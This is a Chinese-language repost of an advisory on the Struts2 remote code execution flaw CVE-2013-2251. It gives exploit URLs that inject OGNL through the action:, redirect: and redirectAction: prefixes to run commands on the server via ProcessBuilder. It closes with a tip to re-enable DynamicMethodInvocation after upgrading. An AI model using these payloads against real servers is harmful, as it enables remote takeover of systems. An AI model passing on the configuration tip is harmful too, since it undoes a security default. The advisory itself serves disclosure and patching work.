当前位置: 代码迷 >> Web前端 >> struts2 破绽
  详细解决方案

struts2 破绽

热度:583   发布时间:2013-12-30 14:16:08.0
struts2 漏洞

http://www.freebuf.com/vuls/11220.html

======================================================================

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts?2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。?

描述

影响版本	 Struts 2.0.0 - Struts 2.3.15
报告者	 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
CVE编号      CVE-2013-2251

漏洞证明

参数会以OGNL表达式执行

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}


http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

?

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

?

?

Apache官方地址

?

=====================================

注意!

在升级成2.3.15+版本以后,会可能会出现说找不到 action的问题,我就遇到这个问题,百度N久未找到。

原因是: struts2 升级成2.3.16版本以后,无法动态访问action方法。我跟踪旧版新版程序,发现原来有一个标记,标记为true,则可以使用 xxx!method.action 的方式调用action的方法,而2.3.15之前的版本是默认开启的,而之后版本是默认关闭的。故需要在struts.xml配置里加上常量定义:

<constant name="struts.enable.DynamicMethodInvocation" value="true"></constant>

如此即可

?

  相关解决方案